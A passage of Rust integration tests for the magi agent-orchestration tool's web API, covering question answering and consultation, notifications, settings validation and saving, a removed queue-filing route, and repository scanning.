12636                Ok(())
12637            })
12638            .unwrap();
12639        let list = fx.get("/api/questions").await.json();
12640        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12641        assert_eq!(list[0]["can_consult_chat"], false);
12642    }
12643
12644    #[tokio::test]
12645    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12646        let fx = Fixture::start().await;
12647        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12648        fx.questions()
12649            .update(&id, |q| {
12650                q.node = crate::land::APPROVAL_NODE.into();
12651                q.choices = vec!["merge".into(), "hold".into()];
12652                Ok(())
12653            })
12654            .unwrap();
12655        let cfg = Config {
12656            agents: vec![crate::config::AgentSpec {
12657                id: "mock".to_owned(),
12658                kind: crate::config::AgentKind::Command,
12659                model: None,
12660                command: vec!["true".to_owned()],
12661                extra_args: Vec::new(),
12662                env: Default::default(),
12663                prompt_delivery: None,
12664                max_turn_secs: None,
12665            }],
12666            ..Config::default()
12667        };
12668        // Not a git working tree, so its `magi.toml` is read from disk.
12669        let repo = fx.home.path().join("chat-repo");
12670        std::fs::create_dir_all(&repo).unwrap();
12671        let toml = repo.join("magi.toml");
12672        std::fs::write(&toml, "this is = = not toml").unwrap();
12673        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12674        let mut task = Task::new(
12675            "t".to_owned(),
12676            "Do it".to_owned(),
12677            PathBuf::from("/repo/magi"),
12678            Source::Agent {
12679                run: talk.id.clone(),
12680                node: crate::queue::CHAT_NODE.to_owned(),
12681            },
12682        );
12683        task.start("20260902-000000-beef".to_owned());
12684        fx.queue().put(&mut task).unwrap();
12685
12686        let path = format!("/api/questions/{id}/consult");
12687        let res = fx.post(&path, None).await;
12688        assert!(res.status >= 400, "{}", res.body);
12689        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12690        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12691
12692        std::fs::write(&toml, "").unwrap();
12693        let res = fx.post(&path, None).await;
12694        assert_eq!(res.status, 202, "{}", res.body);
12695        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12696        let q = fx.questions().get(&id).unwrap();
12697        assert!(q.status.open());
12698        assert!(q.answer.is_none());
12699        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12700        assert_eq!(res.json()["can_consult_chat"], true);
12701        let list = fx.get("/api/questions").await.json();
12702        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12703        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12704
12705        let res = fx
12706            .post(
12707                &format!("/api/questions/{id}/answer"),
12708                Some(r#"{"choice":"hold"}"#),
12709            )
12710            .await;
12711        assert_eq!(res.status, 200, "{}", res.body);
12712        assert_eq!(res.json()["answer"]["choice"], "hold");
12713        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12714        assert_eq!(res.json()["can_consult_chat"], false);
12715        assert_eq!(fx.post(&path, None).await.status, 409);
12716
12717        let mut talk = fx.talks().get(&talk.id).unwrap();
12718        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12719        let list = fx.get("/api/questions").await.json();
12720        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12721        assert_eq!(list[0]["origin_chat_closed"], true);
12722        assert_eq!(list[0]["can_consult_chat"], false);
12723
12724        fx.talks().remove(&talk.id).unwrap();
12725        let list = fx.get("/api/questions").await.json();
12726        assert_eq!(list[0]["origin_chat"], Value::Null);
12727        assert_eq!(list[0]["origin_chat_closed"], false);
12728        assert_eq!(list[0]["can_consult_chat"], false);
12729    }
12730
12731    #[tokio::test]
12732    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12733        let fx = Fixture::start().await;
12734        let store = fx.questions();
12735        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12736        store.beat(&id, ask::WaiterKind::Asker);
12737        assert_eq!(
12738            fx.get("/api/health").await.json()["questions_needs_owner"],
12739            1
12740        );
12741
12742        // The owner asks back instead of deciding: the ask bar, the nav badge
12743        // and the title must stop naming this question, because there is
12744        // nothing to decide until the agent answers - `status` alone cannot
12745        // say that, which is the whole reason `questions_needs_owner` exists
12746        // alongside `questions_open`.
12747        let res = fx
12748            .post(
12749                &format!("/api/questions/{id}/say"),
12750                Some(r#"{"body":"why not Postgres?"}"#),
12751            )
12752            .await;
12753        assert_eq!(res.status, 200, "{}", res.body);
12754        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12755        assert_eq!(
12756            fx.get("/api/health").await.json()["questions_needs_owner"],
12757            0,
12758            "waiting on the agent is not waiting on the owner"
12759        );
12760
12761        // `magi ask --thread` replying is what brings the owner count back -
12762        // the same event that would resume the CLI call blocked in `magi
12763        // ask`.
12764        let mut q = store.get(&id).expect("get");
12765        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12766            .expect("reply");
12767        store.put(&mut q).expect("put");
12768        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12769        assert_eq!(
12770            fx.get("/api/health").await.json()["questions_needs_owner"],
12771            1,
12772            "the agent's reply is what should light the banner back up"
12773        );
12774    }
12775
12776    #[tokio::test]
12777    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12778        let fx = Fixture::start().await;
12779        let store = fx.questions();
12780
12781        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12782        let res = fx
12783            .post(
12784                &format!("/api/questions/{empty_id}/say"),
12785                Some(r#"{"body":"   "}"#),
12786            )
12787            .await;
12788        assert_eq!(res.status, 400, "{}", res.body);
12789
12790        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12791        let mut answered = store.get(&answered_id).expect("get");
12792        answered
12793            .answer(Answer::Choice("SQLite".to_owned()))
12794            .expect("answer");
12795        store.put(&mut answered).expect("put");
12796        let res = fx
12797            .post(
12798                &format!("/api/questions/{answered_id}/say"),
12799                Some(r#"{"body":"still there?"}"#),
12800            )
12801            .await;
12802        assert_eq!(res.status, 409, "{}", res.body);
12803
12804        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12805        let mut abandoned = store.get(&abandoned_id).expect("get");
12806        abandoned.abandon("timed out");
12807        store.put(&mut abandoned).expect("put");
12808        let res = fx
12809            .post(
12810                &format!("/api/questions/{abandoned_id}/say"),
12811                Some(r#"{"body":"still there?"}"#),
12812            )
12813            .await;
12814        assert_eq!(res.status, 409, "{}", res.body);
12815    }
12816
12817    #[tokio::test]
12818    async fn an_answer_the_question_does_not_offer_is_refused() {
12819        let fx = Fixture::start().await;
12820        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12821        let path = format!("/api/questions/{id}/answer");
12822
12823        for body in [
12824            r#"{"choice":"Postgres"}"#,
12825            r#"{"text":"whatever you think"}"#,
12826            r#"{"choice":"Redis","text":"both"}"#,
12827            r#"{}"#,
12828        ] {
12829            let res = fx.post(&path, Some(body)).await;
12830            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12831            assert!(res.json()["error"].is_string(), "{}", res.body);
12832        }
12833        // Nothing above may have answered it.
12834        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12835    }
12836
12837    #[tokio::test]
12838    async fn a_free_text_question_takes_text_and_not_a_choice() {
12839        let fx = Fixture::start().await;
12840        let id = ask(&fx, "What should the flag be called?", &[]);
12841        fx.questions().beat(&id, ask::WaiterKind::Asker);
12842        let path = format!("/api/questions/{id}/answer");
12843
12844        assert_eq!(
12845            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12846            400
12847        );
12848        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12849        assert_eq!(res.status, 200, "{}", res.body);
12850        assert_eq!(res.json()["answer"]["text"], "--json");
12851    }
12852
12853    #[tokio::test]
12854    async fn an_unknown_question_is_a_json_404() {
12855        let fx = Fixture::start().await;
12856        let res = fx
12857            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12858            .await;
12859        assert_eq!(res.status, 404, "{}", res.body);
12860        assert!(res.json()["error"].is_string());
12861    }
12862
12863    #[tokio::test]
12864    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12865        let fx = Fixture::start().await;
12866        let questions = Questions::at(fx.home.path().join("questions"));
12867        let store = Notices::at(fx.home.path().join("notifications"));
12868        let mut q = ask::Question::new(
12869            "t1".into(),
12870            "conduct".into(),
12871            "conductor".into(),
12872            "Continue?".into(),
12873            String::new(),
12874            Vec::new(),
12875        );
12876        questions.put(&mut q).unwrap();
12877        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12878        n.covered_by = Some(q.id.clone());
12879        let n = store.raise(n).unwrap();
12880        let listed = fx.get("/api/notifications").await.json();
12881        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12882        questions
12883            .update(&q.id, |q| {
12884                q.abandon("run gone");
12885                Ok(())
12886            })
12887            .unwrap();
12888        let listed = fx.get("/api/notifications").await.json();
12889        assert!(listed["items"][0]["answerable_question"].is_null());
12890        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12891        assert!(
12892            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12893                .unwrap()
12894                .contains("answerable_question")
12895        );
12896    }
12897
12898    #[tokio::test]
12899    async fn notifications_list_read_dismiss_and_health_agree() {
12900        let fx = Fixture::start().await;
12901        let store = Notices::at(fx.home.path().join("notifications"));
12902        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12903        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12904
12905        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12906        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12907
12908        store
12909            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12910            .unwrap();
12911        let health = fx.get("/api/health").await.json();
12912        assert_eq!(health["notifications_unread"], 2);
12913        assert_ne!(
12914            health["notifications_rev"], rev0,
12915            "the badge must move live"
12916        );
12917
12918        let listed = fx.get("/api/notifications").await.json();
12919        assert_eq!(listed["unread"], 2);
12920        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12921        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12922
12923        let read = fx
12924            .post(&format!("/api/notifications/{}/read", a.id), None)
12925            .await;
12926        assert_eq!(read.status, 200, "{}", read.body);
12927        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12928
12929        let gone = fx
12930            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12931            .await;
12932        assert_eq!(gone.status, 200, "{}", gone.body);
12933        let listed = fx.get("/api/notifications").await.json();
12934        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12935        assert_eq!(listed["unread"], 0);
12936
12937        store.raise(Notice::info("x", "again")).unwrap();
12938        let all = fx.post("/api/notifications/read-all", None).await;
12939        assert_eq!(all.status, 200, "{}", all.body);
12940        assert_eq!(all.json()["marked"], 1);
12941        assert_eq!(
12942            fx.get("/api/health").await.json()["notifications_unread"],
12943            0
12944        );
12945
12946        let missing = fx.post("/api/notifications/nope/read", None).await;
12947        assert_eq!(missing.status, 404, "{}", missing.body);
12948        assert!(missing.json()["error"].is_string());
12949    }
12950
12951    /// New work reaches the queue through `magi task add`, a standing talk's
12952    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12953    /// so the compose form and that route are gone. The tests that covered
12954    /// that route's validation went with it, and nothing was left asserting
12955    /// it stays gone — so a re-added handler would silently let the phone
12956    /// file briefs no one validated.
12957    #[tokio::test]
12958    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12959        let f = Fixture::start().await;
12960
12961        let res = f
12962            .post(
12963                "/api/queue",
12964                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12965            )
12966            .await;
12967
12968        assert_eq!(
12969            res.status, 405,
12970            "POST /api/queue must not be a route: {}",
12971            res.body
12972        );
12973        assert!(
12974            f.queue().list().is_empty(),
12975            "a task filed by a route that does not exist must not reach the disk"
12976        );
12977        // The path itself is still served — the Queue view reads it — and the
12978        // per-task controls are untouched by the entry being removed.
12979        assert_eq!(f.get("/api/queue").await.status, 200);
12980    }
12981
12982    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12983    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12984        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12985            .expect("checkout dir");
12986    }
12987
12988    /// Two command agents, so a config needs no real CLI.
12989    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12990
12991    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12992        let tmp = TempDir::new().expect("tempdir");
12993        let repo = tmp.path().join("repo");
12994        std::fs::create_dir_all(&repo).expect("repo dir");
12995        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12996        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12997        if let Some(text) = machine_toml {
12998            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12999            std::fs::write(&machine, text).expect("machine toml");
13000        }
13001        (tmp, repo, machine)
13002    }
13003
13004    async fn settings_checkout(path: &FsPath, text: &str) {
13005        std::fs::create_dir_all(path).unwrap();
13006        std::fs::write(path.join("magi.toml"), text).unwrap();
13007        for args in [
13008            vec!["init", "-b", "main"],
13009            vec!["add", "magi.toml"],
13010            vec![
13011                "-c",
13012                "user.name=Test",
13013                "-c",
13014                "user.email=test@example.invalid",
13015                "commit",
13016                "-m",
13017                "fixture",
13018            ],
13019            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13020            vec![
13021                "symbolic-ref",
13022                "refs/remotes/origin/HEAD",
13023                "refs/remotes/origin/main",
13024            ],
13025        ] {
13026            crate::git::git(path, &args).await.unwrap();
13027        }
13028    }
13029
13030    #[tokio::test]
13031    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13032        let (tmp, repo, machine) =
13033            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13034        let root = tmp.path().join("roots");
13035        let selected = root.join("host/owner/selected");
13036        settings_checkout(
13037            &selected,
13038            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13039        )
13040        .await;
13041        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13042        let before = std::fs::read(&machine).unwrap();
13043        let ui = Arc::new(
13044            Ui::new(
13045                Queue::at(tmp.path().join("queue")),
13046                Questions::at(tmp.path().join("questions")),
13047                Talks::at(tmp.path().join("talks")),
13048                tmp.path().join("runs"),
13049                tmp.path().to_path_buf(),
13050                repo.clone(),
13051            )
13052            .with_machine_config(Some(machine.clone())),
13053        );
13054        let query = || {
13055            Query(SettingsQuery {
13056                repo: Some(selected.clone()),
13057            })
13058        };
13059        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13060        assert!(v.error.is_none(), "{:?}", v.error);
13061        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13062        assert_eq!(conductor.source, "repo");
13063        assert_eq!(
13064            conductor.machine_value,
13065            Some(toml::Value::String("a".into()))
13066        );
13067        assert!(!conductor.editable);
13068        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13069        assert_eq!(
13070            judges.count.as_ref().unwrap().machine_value,
13071            Some(toml::Value::Integer(1))
13072        );
13073        assert!(
13074            !v.roles
13075                .iter()
13076                .find(|r| r.key == "reviewers")
13077                .unwrap()
13078                .editable
13079        );
13080        let unknown = || {
13081            Query(SettingsQuery {
13082                repo: Some(tmp.path().to_path_buf()),
13083            })
13084        };
13085        assert_eq!(
13086            settings_get(State(ui.clone()), unknown())
13087                .await
13088                .unwrap_err()
13089                .status,
13090            StatusCode::UNPROCESSABLE_ENTITY
13091        );
13092        let body = || {
13093            Ok(Json(RolesBody {
13094                revision: v.revision.clone(),
13095                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13096                counts: Default::default(),
13097            }))
13098        };
13099        assert_eq!(
13100            settings_put_roles(State(ui.clone()), unknown(), body())
13101                .await
13102                .unwrap_err()
13103                .status,
13104            StatusCode::UNPROCESSABLE_ENTITY
13105        );
13106        assert_eq!(std::fs::read(&machine).unwrap(), before);
13107        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13108            .await
13109            .unwrap();
13110        assert_eq!(
13111            saved.repo,
13112            selected.canonicalize().unwrap().display().to_string()
13113        );
13114        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13115        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13116        // A cache miss refreshes the stable candidate list exactly for validation.
13117        let fresh = root.join("host/owner/fresh");
13118        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13119        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13120            .await
13121            .unwrap();
13122        assert_eq!(fresh_view.repositories.len(), 3);
13123    }
13124
13125    #[tokio::test]
13126    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13127        let (tmp, repo, machine) = settings_dirs(
13128            "[roles]\nreviewers = [\"a\"]\n",
13129            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13130        );
13131        let root = tmp.path().join("roots");
13132        let selected = root.join("host/owner/selected");
13133        settings_checkout(
13134            &selected,
13135            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13136        )
13137        .await;
13138        let broken = root.join("host/owner/broken");
13139        settings_checkout(&broken, "[roles\nbroken").await;
13140        let machine_text = format!(
13141            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13142            toml::Value::String(root.display().to_string())
13143        );
13144        std::fs::write(&machine, &machine_text).unwrap();
13145        let originals: Vec<_> = [&repo, &selected, &broken]
13146            .iter()
13147            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13148            .collect();
13149        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13150        let default = f.get("/api/settings").await.json();
13151        assert_eq!(
13152            default["repo"],
13153            repo.canonicalize().unwrap().display().to_string()
13154        );
13155        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13156        let query = format!("?repo={}", selected.display());
13157        let res = f.get(&format!("/api/settings{query}")).await;
13158        assert_eq!(res.status, 200, "{}", res.body);
13159        let v = res.json();
13160        assert!(v["error"].is_null(), "{v}");
13161        assert_eq!(v["repositories"], default["repositories"]);
13162        let role = |key: &str| {
13163            v["roles"]
13164                .as_array()
13165                .unwrap()
13166                .iter()
13167                .find(|r| r["key"] == key)
13168                .unwrap()
13169        };
13170        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13171        assert_eq!(role("advisors")["source"], "repo");
13172        assert_eq!(role("advisors")["editable"], false);
13173        assert!(role("advisors")["machine_value"].is_null());
13174        assert_eq!(role("judges")["count"]["value"], 2);
13175        assert_eq!(role("judges")["count"]["machine_value"], 1);
13176        assert_eq!(role("judges")["count"]["source"], "repo");
13177        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13178        assert!(
13179            source.contains("origin/main") && !source.contains("magi/config/"),
13180            "{source}"
13181        );
13182        assert_eq!(
13183            role("reviewers")["editable"],
13184            false,
13185            "default context outside roots must protect its declarations"
13186        );
13187        let body =
13188            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13189        let unknown = format!("?repo={}", tmp.path().display());
13190        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13191        assert_eq!(
13192            f.put(&format!("/api/settings/roles{unknown}"), &body)
13193                .await
13194                .status,
13195            422
13196        );
13197        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13198        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13199            .to_string();
13200        assert_eq!(
13201            f.put(&format!("/api/settings/roles{query}"), &refuse)
13202                .await
13203                .status,
13204            422
13205        );
13206        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13207        assert_eq!(saved.status, 200, "{}", saved.body);
13208        assert_eq!(saved.json()["repo"], v["repo"]);
13209        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13210        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13211        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13212            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13213        }
13214        let error = f
13215            .get(&format!("/api/settings?repo={}", broken.display()))
13216            .await;
13217        assert_eq!(error.status, 200);
13218        assert!(error.json()["error"]["message"].is_string());
13219        assert_eq!(error.json()["repositories"], default["repositories"]);
13220    }
13221
13222    #[tokio::test]
13223    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13224        let (_tmp, repo, machine) =
13225            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13226        let f = Fixture::with_repo_and_machine(repo, machine).await;
13227        let res = f.get("/api/settings").await;
13228        assert_eq!(res.status, 200, "{}", res.body);
13229        let v = res.json();
13230        assert!(v["error"].is_null(), "{v}");
13231        let role = |k: &str| {
13232            v["roles"]
13233                .as_array()
13234                .and_then(|r| r.iter().find(|x| x["key"] == k))
13235                .cloned()
13236                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13237        };
13238        assert_eq!(role("judges")["source"], "machine");
13239        assert_eq!(role("judges")["editable"], true);
13240        assert_eq!(role("implementers")["source"], "default");
13241        let adv = role("advisors");
13242        assert_eq!(adv["fallback"], "judges");
13243        assert!(
13244            adv["seats"]
13245                .as_array()
13246                .is_some_and(|s| s.iter().all(|x| x == "b")),
13247            "{adv}"
13248        );
13249        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13250        assert_eq!(v["agents"][0]["source"], "repo");
13251    }
13252
13253    #[tokio::test]
13254    async fn settings_get_reports_a_config_that_does_not_parse() {
13255        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13256        let f = Fixture::with_repo_and_machine(repo, machine).await;
13257        let res = f.get("/api/settings").await;
13258        assert_eq!(res.status, 200, "{}", res.body);
13259        let v = res.json();
13260        assert!(v["error"]["message"].is_string(), "{v}");
13261        assert!(
13262            v["error"]["path"]
13263                .as_str()
13264                .is_some_and(|p| p.ends_with("magi.toml")),
13265            "{v}"
13266        );
13267        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13268    }
13269
13270    #[tokio::test]
13271    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13272        let (_tmp, repo, machine) = settings_dirs(
13273            SETTINGS_AGENTS,
13274            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13275        );
13276        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13277        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13278        let rev = f.get("/api/settings").await.json()["revision"]
13279            .as_str()
13280            .expect("revision")
13281            .to_owned();
13282        let body = serde_json::json!({
13283            "revision": rev,
13284            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13285        })
13286        .to_string();
13287        let res = f.put("/api/settings/roles", &body).await;
13288        assert_eq!(res.status, 200, "{}", res.body);
13289        let text = std::fs::read_to_string(&machine).expect("machine");
13290        assert_eq!(
13291            text,
13292            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13293        );
13294        assert_eq!(
13295            std::fs::read(repo.join("magi.toml")).expect("read"),
13296            repo_before
13297        );
13298        let again = f.get("/api/settings").await.json();
13299        let judges = again["roles"]
13300            .as_array()
13301            .expect("roles")
13302            .iter()
13303            .find(|r| r["key"] == "judges")
13304            .expect("judges")
13305            .clone();
13306        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13307        // The old revision is now stale.
13308        let stale = f.put("/api/settings/roles", &body).await;
13309        assert_eq!(stale.status, 409, "{}", stale.body);
13310    }
13311
13312    #[tokio::test]
13313    async fn settings_counts_are_reported_and_saved() {
13314        let (_tmp, repo, machine) = settings_dirs(
13315            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13316            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13317        );
13318        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13319        let v = f.get("/api/settings").await.json();
13320        let count = |v: &serde_json::Value, k: &str| {
13321            v["roles"]
13322                .as_array()
13323                .and_then(|r| r.iter().find(|x| x["key"] == k))
13324                .map(|x| x["count"].clone())
13325                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13326        };
13327        let imp = count(&v, "implementers");
13328        assert_eq!(imp["value"], 2);
13329        assert_eq!(imp["source"], "machine");
13330        assert_eq!(imp["file_key"], "candidates");
13331        assert_eq!(imp["roster_len"], 2);
13332        assert_eq!(imp["backups"], 0);
13333        assert_eq!(count(&v, "judges")["source"], "default");
13334        assert_eq!(count(&v, "advisors")["min"], 0);
13335        assert_eq!(count(&v, "reviewers")["editable"], false);
13336        assert!(
13337            count(&v, "reviewers")["locked_reason"]
13338                .as_str()
13339                .is_some_and(|m| m.contains("graph.reviewers"))
13340        );
13341        assert!(count(&v, "fixer").is_null());
13342        let rev = v["revision"].as_str().expect("revision").to_owned();
13343        let body = serde_json::json!({
13344            "revision": rev,
13345            "roles": { "judges": ["b"] },
13346            "counts": { "implementers": 1, "advisors": 0 }
13347        })
13348        .to_string();
13349        let res = f.put("/api/settings/roles", &body).await;
13350        assert_eq!(res.status, 200, "{}", res.body);
13351        let text = std::fs::read_to_string(&machine).expect("machine");
13352        assert_eq!(
13353            text,
13354            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13355        );
13356        let after = f.get("/api/settings").await.json();
13357        assert_eq!(count(&after, "implementers")["value"], 1);
13358        assert_eq!(count(&after, "implementers")["backups"], 1);
13359        assert_eq!(count(&after, "advisors")["value"], 0);
13360        let before = std::fs::read_to_string(&machine).expect("machine");
13361        let rev = after["revision"].as_str().expect("revision").to_owned();
13362        for counts in [
13363            serde_json::json!({ "judges": 0 }),
13364            serde_json::json!({ "judges": "x" }),
13365            serde_json::json!({ "judges": 2.5 }),
13366            serde_json::json!({ "judges": -1 }),
13367            serde_json::json!({ "reviewers": 3 }),
13368            serde_json::json!({ "bogus": 3 }),
13369        ] {
13370            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13371            let res = f.put("/api/settings/roles", &body).await;
13372            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13373            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13374        }
13375    }
13376
13377    #[tokio::test]
13378    async fn settings_put_refuses_without_touching_the_file() {
13379        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13380        let (_tmp, repo, machine) = settings_dirs(
13381            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13382            Some(machine_text),
13383        );
13384        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13385        let rev = f.get("/api/settings").await.json()["revision"]
13386            .as_str()
13387            .expect("revision")
13388            .to_owned();
13389        for roles in [
13390            serde_json::json!({ "judges": ["nope"] }),
13391            serde_json::json!({ "reviewers": ["b"] }),
13392            serde_json::json!({ "bogus": ["a"] }),
13393        ] {
13394            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13395            let res = f.put("/api/settings/roles", &body).await;
13396            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13397            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13398            assert_eq!(
13399                std::fs::read_to_string(&machine).expect("machine"),
13400                machine_text
13401            );
13402        }
13403    }
13404
13405    #[tokio::test]
13406    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13407        let tmp = TempDir::new().expect("tempdir");
13408        let repo = tmp.path().join("repo");
13409        std::fs::create_dir_all(&repo).expect("repo dir");
13410        let root = tmp.path().join("root");
13411        make_checkout(&root, "github.com", "yukimemi", "magi");
13412        std::fs::write(
13413            repo.join("magi.toml"),
13414            format!(
13415                "[repos]\nroots = [{:?}]\n",
13416                root.to_string_lossy().into_owned()
13417            ),
13418        )
13419        .expect("write magi.toml");
13420
13421        let f = Fixture::with_repo(repo).await;
13422        let res = f.get("/api/repos").await;
13423        assert_eq!(res.status, 200, "{}", res.body);
13424        let list = res.json();
13425        let repos = list.as_array().expect("an array");
13426        assert_eq!(repos.len(), 1);
13427        assert_eq!(repos[0]["name"], "yukimemi/magi");
13428        assert!(
13429            repos[0]["path"]
13430                .as_str()
13431                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13432            "{list}"
13433        );
13434    }
13435
13436    #[tokio::test]
13437    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13438        let tmp = TempDir::new().expect("tempdir");
13439        let repo = tmp.path().join("repo");
13440        std::fs::create_dir_all(&repo).expect("repo dir");
13441        let root = tmp.path().join("root");
13442        make_checkout(&root, "github.com", "yukimemi", "magi");
13443        std::fs::write(
13444            repo.join("magi.toml"),
13445            format!(
13446                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13447                root.to_string_lossy().into_owned()
13448            ),
13449        )
13450        .expect("write magi.toml");
13451
13452        let f = Fixture::with_repo(repo).await;
13453        let first = f.get("/api/repos").await;
13454        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13455
13456        // A second checkout appears; within the TTL the cached answer must
13457        // not notice it.
